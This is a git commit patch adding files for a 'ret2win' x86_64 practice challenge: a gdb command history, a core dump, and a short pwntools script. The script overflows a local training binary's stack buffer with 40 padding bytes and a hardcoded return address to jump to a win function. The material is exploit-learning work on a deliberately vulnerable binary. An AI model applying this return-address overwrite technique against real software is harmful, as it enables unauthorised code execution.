From ae586f332c3fa2919fca99b0ff8acf1e339b0061 Mon Sep 17 00:00:00 2001
From: Brett Weiland <brett_weiland@bpcspace.com>
Date: Mon, 14 Dec 2020 18:27:06 -0600
Subject: 	new file:   x86_64/ret2win/.gdb_history 	new file:  
 x86_64/ret2win/core 	new file:   x86_64/ret2win/exploit.py 	new file:  
 x86_64/split/.gdb_history 	new file:   x86_64/split/core 	new file:  
 x86_64/split/core.split.25050 	new file:   x86_64/split/exploit.py 	new
 file:   x86_64/split/fuckyou 	new file:   x86_64/split/xaa

---
 x86_64/ret2win/.gdb_history |   6 ++++++
 x86_64/ret2win/core         | Bin 0 -> 2183168 bytes
 x86_64/ret2win/exploit.py   |  13 +++++++++++++
 3 files changed, 19 insertions(+)
 create mode 100644 x86_64/ret2win/.gdb_history
 create mode 100644 x86_64/ret2win/core
 create mode 100755 x86_64/ret2win/exploit.py

(limited to 'x86_64/ret2win')

diff --git a/x86_64/ret2win/.gdb_history b/x86_64/ret2win/.gdb_history
new file mode 100644
index 0000000..54449f7
--- /dev/null
+++ b/x86_64/ret2win/.gdb_history
@@ -0,0 +1,6 @@
+starti
+context
+nexti
+break main 
+continue
+q
diff --git a/x86_64/ret2win/core b/x86_64/ret2win/core
new file mode 100644
index 0000000..4a61a20
Binary files /dev/null and b/x86_64/ret2win/core differ
diff --git a/x86_64/ret2win/exploit.py b/x86_64/ret2win/exploit.py
new file mode 100755
index 0000000..d5506b2
--- /dev/null
+++ b/x86_64/ret2win/exploit.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python3
+from pwn import *
+
+prog = process('./ret2win')
+payload = b''
+for c in range(40):
+    payload += b'a'
+
+payload += p64(0x0000000000400756)
+payload += b"\n"
+prog.sendline(payload)
+sleep(1)
+print(str(prog.recv(), 'UTF-8'))
-- 
cgit v1.2.3